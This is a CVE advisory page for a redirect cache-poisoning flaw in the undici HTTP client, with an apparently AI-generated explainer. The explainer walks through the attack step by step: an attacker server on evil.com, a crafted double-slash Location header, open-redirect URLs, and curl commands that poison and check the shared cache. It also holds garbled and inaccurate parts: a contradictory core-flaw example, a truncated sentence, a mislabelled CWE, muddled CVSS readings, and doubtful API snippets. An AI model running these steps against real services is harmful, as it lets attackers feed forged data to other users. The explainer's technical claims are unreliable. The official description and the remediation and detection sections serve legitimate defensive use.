CVE-2026-133890 — Undici (8.14.1) — CWE-346 · CWE-524
undici is an HTTP client for Node.js. In versions 7.30.1 through 7.30.3 and 8.12.2 through 8.14.0, the fix for the cross-origin redirect cache poisoning issues CVE-2026-109829 and CVE-2026-116592 stores a response only when every hop in the redirect history is on the cache key's origin, but each hop is recorded by resolving the request path against the origin, which misreads a path beginning with two slashes as a protocol-relative URL. A redirect to an attacker-controlled origin whose path starts with two slashes followed by the trusted host name is therefore recorded as a hop to the trusted origin, so the every-hop origin check passes. An attacker who controls the target of a redirect from a trusted URL, for example through an open redirect, can have their response cached under the trusted URL and served to later callers from the shared cache without either origin being contacted, and the same mis-recorded history lets a cross-origin 304 revalidate the trusted entry, with SqliteCacheStore entries surviving restarts. Applications are affected only when they compose the redirect and cache interceptors with a shared MemoryCacheStore or SqliteCacheStore. The issue is fixed in undici 7.30.4 and 8.14.1, and users should upgrade to one of those versions or later. As a workaround, use per-origin dispatchers and cache stores, or disable shared caching on redirect-capable requests.
undici is an HTTP client for Node.js. In versions 7.30.1 through 7.30.3 and 8.12.2 through 8.14.0, the fix for the cross-origin redirect cache poisoning issues CVE-2026-109829 and CVE-2026-116592 stores a response only when every hop in the redirect history is on the cache key's origin, but each hop is recorded by resolving the request path against the origin, which misreads a path beginning with two slashes as a protocol-relative URL. A redirect to an attacker-controlled origin whose path starts with two slashes followed by the trusted host name is therefore recorded as a hop to the trusted origin, so the every-hop origin check passes. An attacker who controls the target of a redirect from a trusted URL, for example through an open redirect, can have their response cached under the trusted URL and served to later callers from the shared cache without either origin being contacted, and the same mis-recorded history lets a cross-origin 304 revalidate the trusted entry, with SqliteCacheStore entries surviving restarts. Applications are affected only when they compose the redirect and cache interceptors with a shared MemoryCacheStore or SqliteCacheStore. The issue is fixed in undici 7.30.4 and 8.14.1, and users should upgrade to one of those versions or later. As a workaround, use per-origin dispatchers and cache stores, or disable shared caching on redirect-capable requests.
CVE‑2026‑133890 – Undici HTTP client – Cross‑origin redirect cache poisoning
🎯 What is this vulnerability?
Undici (the high‑performance HTTP client shipped with Node.js) introduced a cache‑aware redirect interceptor in the 7.30.x and 8.12.x series to mitigate the earlier “cross‑origin redirect cache poisoning” bugs (CVE‑2026‑109829, CVE‑2026‑116592).
The mitigation works by caching a response only when every hop in the redirect chain belongs to the same origin that is used as the cache key. The implementation builds the “origin of a hop” by resolving the request path against the original request’s origin.
Core flaw
When a redirect location begins with two leading slashes (//), the URL parser treats it as a protocol‑relative URL* (i.e., “use the same scheme as the current request, but the host is taken from the URL after the slashes”).
- The code that records each hop does not recognise this special case – it simply concatenates the original origin with the raw path string. Consequently a location such as
https://trusted.example.com//evil.com/is interpreted as a hop to https://trusted.example.com/ (the origin stays “trusted.example.com”) even though the actual HTTP request will be sent to https://evil.com/.
304 Not Modified revalidation to refresh the poisoned entry, and the SqliteCacheStore persists the entry across process restarts.CWE‑346 – Origin Validation Error – the origin of each redirect hop is not correctly validated.
CWE‑524 – Cache Poisoning – an attacker can inject malicious data into a shared cache that is later served to legitimate users.
The vulnerability is exploitable without authentication, without user interaction, and without UI (AV:N, PR:N, UI:N). The attack requires high effort (crafting a suitable redirect chain and convincing a victim to follow the trusted URL) – reflected in the AC:H metric.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario. All command‑line snippets are illustrative – the exact endpoint paths depend on the target application’s routing.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| a) Identify Node.js services using Undici | Scan internal/external IP ranges for services that make outbound HTTP calls (e.g., micro‑services, API gateways). Look for User‑Agent: undici/ in outbound traffic or for the presence of node_modules/undici in publicly accessible source repositories (GitHub, npm). | Undici is a library, not a server component, so the presence of the library in the code base is the primary indicator. |
| b) Determine the Undici version | Retrieve the package-lock.json / npm-shrinkwrap.json or run npm list undici on a compromised host. The vulnerable ranges are 7.30.1‑7.30.3 and 8.12.2‑8.14.0. | The CVE explicitly lists these ranges. |
c) Verify that the application uses a shared MemoryCacheStore or SqliteCacheStore together with the redirect interceptor | Search the source for new Cache({ store: new MemoryCacheStore() }) or new Cache({ store: new SqliteCacheStore() }) combined with client.interceptRedirects() (or the equivalent undici.interceptRedirects). | The bug only manifests when the two are composed; a per‑origin dispatcher or disabled cache would not be vulnerable. |
2. Exploitation
Goal: Poison the shared cache entry for a trusted URL (https://trusted.example.com/api/data) with attacker‑controlled content.
2.1. Prepare an attacker‑controlled endpoint
# attacker-controlled server (evil.com) – simple Node.js example
npm init -y
npm i express
cat > server.js <<'EOF'
const express = require('express');
const app = express();
app.get('/payload', (req, res) => {
// The data the victim will receive from the poisoned cache
res.set('Content-Type', 'application/json');
res.send(JSON.stringify({ compromised: true, secret: "stolen‑data" }));
});
app.listen(443, () => console.log('Evil server listening on 443 (HTTPS)'));
EOF
# Use a self‑signed cert or a real cert for HTTPS; for brevity we omit TLS setup.
node server.js2.2. Craft the malicious redirect URL
The attacker must cause the victim’s Undici client to request a trusted URL that internally follows a redirect to the attacker’s host. The redirect location is crafted with a protocol‑relative URL that begins with two slashes and embeds the trusted host name after them:
Location: //evil.com//trusted.example.com/api/payloadWhen Undici resolves this against the original origin (https://trusted.example.com), it mistakenly records the hop as staying on trusted.example.com.
Illustrative vulnerable endpoint on the trusted site (the attacker needs a place that issues a redirect; an open‑redirect endpoint is ideal):
GET https://trusted.example.com/redirect?url=%2F%2Fevil.com%2F%2Ftrusted.example.com%2Fapi%2FpayloadThe server at trusted.example.com responds:
HTTP/1.1 302 Found
Location: //evil.com//trusted.example.com/api/payload
Cache-Control: public, max-age=86400Note: The exact parameter name (url) is hypothetical; any endpoint that reflects a user‑supplied URL into a Location header will work.
2.3. Trigger the cache poisoning
# Step 1 – make the request that follows the redirect and populates the cache
curl -i -L "https://trusted.example.com/redirect?url=%2F%2Fevil.com%2F%2Ftrusted.example.com%2Fapi%2Fpayload"
# Expected flow (from the client’s point of view):
# 1) GET /redirect → 302 → Location: //evil.com//trusted.example.com/api/payload
# 2) Undici follows the redirect → GET https://evil.com//trusted.example.com/api/payload
# 3) Response from evil.com is cached under the key for
# https://trusted.example.com/api/data (or whatever the original request URL was)Because the redirect interceptor records the hop as “still on trusted.example.com”, the cache entry is stored under the trusted origin’s key.
2.4. Verify the poisoned entry
A second, unrelated client (or the attacker themselves) now requests the original trusted URL without any redirect:
curl -i "https://trusted.example.com/api/data"If the cache is shared, the response will be the attacker‑controlled JSON payload, served directly from the MemoryCacheStore/SqliteCacheStore without any network traffic to trusted.example.com.
3. Post‑exploitation
| Impact | How it is achieved |
|---|---|
| Confidentiality breach (C) | The attacker can inject arbitrary data (e.g., JSON containing secrets, malicious scripts) that will be delivered to legitimate users. If the trusted endpoint is used to fetch authentication tokens, CSRF nonces, or configuration, the attacker can exfiltrate them. |
| Integrity compromise (I) | The poisoned response can contain malicious JavaScript, HTML, or JSON that the client trusts, leading to XSS, supply‑chain attacks, or forced execution of attacker‑controlled code in the consuming application. |
| No direct availability impact (A = N) | The bug does not cause denial‑of‑service; it merely serves wrong data. However, a crafted payload could trigger crashes in downstream parsers, indirectly affecting availability. |
Because the poisoned entry survives process restarts when SqliteCacheStore is used, the impact can persist for days or weeks until the cache is manually cleared or the application is restarted with a fresh store.
🌍 Real‑World Impact
| Dimension | Explanation (derived from CVSS vector) |
|---|---|
| Attack Vector (AV:N) | The attacker can launch the exploit from anywhere on the Internet; no proximity required. |
| Attack Complexity (AC:H) | Requires the attacker to control a redirect target and to know that the victim’s Undici client uses a shared cache with redirect interception. This is non‑trivial but feasible in many micro‑service architectures. |
| Privileges Required (PR:N) | None – the attacker does not need authentication to the vulnerable service. |
| User Interaction (UI:N) | No user interaction is required after the initial request; the cache poisoning occurs automatically. |
| Scope (S:U) | The vulnerability does not break isolation between different users of the same application; the poisoned entry is globally visible to all callers of the trusted URL. |
| Confidentiality (C:H) | Full confidentiality loss – attacker‑controlled data can be read by any legitimate consumer of the cached endpoint. |
| Integrity (I:H) | Full integrity loss – attacker can alter the response body, headers, or status code. |
| Availability (A:N) | No direct denial‑of‑service effect. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| 7.30.1 – 7.30.3 | 7.30.4 |
| 8.12.2 – 8.14.0 | 8.14.1 |
Action: Upgrade Undici to ≥ 7.30.4 or ≥ 8.14.1. Verify the version with npm list undici or by inspecting package-lock.json.
2. Workarounds (if immediate upgrade is not possible)
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Per‑origin cache stores | Create a distinct Cache instance for each origin, e.g.: <br>const cache = new Cache({ store: new MemoryCacheStore(), keyGenerator: (req) => req.origin }); <br>Do not share a single MemoryCacheStore/SqliteCacheStore across origins. | Breaks the “every‑hop‑origin” assumption; the poisoned entry would be stored under the attacker’s origin, not the trusted one. |
| Disable caching on redirect‑capable requests | When configuring the client, set cache: false or omit the Cache interceptor for any request that may follow redirects. Example: <br>client.request({ path: '/api/data', method: 'GET', cache: false, redirect: 'follow' }) | Prevents the vulnerable code path from being exercised. |
| Validate redirect locations | Add a custom interceptor that rejects any Location header that starts with // or that contains a host different from the original request’s host. Example (Node.js): <br>``js const rejectBadRedirect = (response) => { const loc = response.headers['location']; if (loc && loc.startsWith('//')) { throw new Error('Blocked protocol‑relative redirect'); } }; client.interceptRedirects(rejectBadRedirect); ` | Stops the attacker from feeding a protocol‑relative URL that triggers the mis‑recording. |
| Clear shared caches on restart | For SqliteCacheStore, delete the underlying SQLite file (cache.db`) during a controlled restart, or rotate the file periodically. | Removes already‑poisoned entries, but does not prevent re‑poisoning. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Unexpected 304 revalidation for a trusted URL | Undici client logs (if enabled) or server‑side access logs that show a GET to the trusted URL returning 304 without a preceding If-None-Match header. | GET /api/data HTTP/1.1 → 304 Not Modified (no If-None-Match present) |
| Cache store writes originating from a different origin | If using SqliteCacheStore, monitor the SQLite file for inserts where the stored origin column does not match the request URL’s origin. | INSERT INTO entries (key, origin, ...) VALUES ('https://trusted.example.com/api/data', 'https://evil.com', …); |
Redirect responses with double‑slash Location | Application logs that record outbound redirects (e.g., res.redirect(...)). Look for Location: // patterns. | Redirecting to //evil.com//trusted.example.com/api/payload |
High frequency of GET requests to the same trusted URL with identical Cache‑Key but differing User‑Agent | Indicates many different clients are hitting the poisoned cache entry. | GET /api/data - 200 OK - Cache‑Hit: true (repeated across many IPs) |
SIEM rule (pseudo‑SQL):
SELECT *
FROM http_access_log
WHERE request_path = '/api/data'
AND status = 304
AND NOT EXISTS (
SELECT 1 FROM http_access_log AS prev
WHERE prev.client_ip = http_access_log.client_ip
AND prev.request_path = '/api/data'
AND prev.headers LIKE '%If-None-Match%'
LIMIT 1
);Alert on matches – they may indicate a poisoned cache being revalidated.
4. Verification after patch
1. Re‑run the PoC (same redirect chain).
2. Confirm that the client does not cache the response (look for Cache‑Miss in logs).
3. Verify that a subsequent request to the trusted URL results in a fresh network round‑trip to the trusted origin (e.g., capture with tcpdump or Node.js http debug output).
⚠️ Urgency
SqliteCacheStore is used, poisoned entries survive restarts, extending the window of exposure.MemoryCacheStore or SqliteCacheStore across origins, and (c) handle redirects. Deploy the upgrade within the next maintenance window (ideally within 48 hours). Apply one of the listed workarounds immediately if a patch cannot be rolled out that quickly, and start monitoring for the detection indicators above.Bottom line: The bug is a subtle origin‑validation error in Undici’s redirect‑aware caching logic that enables cross‑origin cache poisoning. Upgrading to Undici ≥ 7.30.4 or ≥ 8.14.1 eliminates the flaw; until then, isolate caches per origin or disable caching on redirect‑capable requests.
[🤖 CVE Professor AI Security Engine]
FOFA Query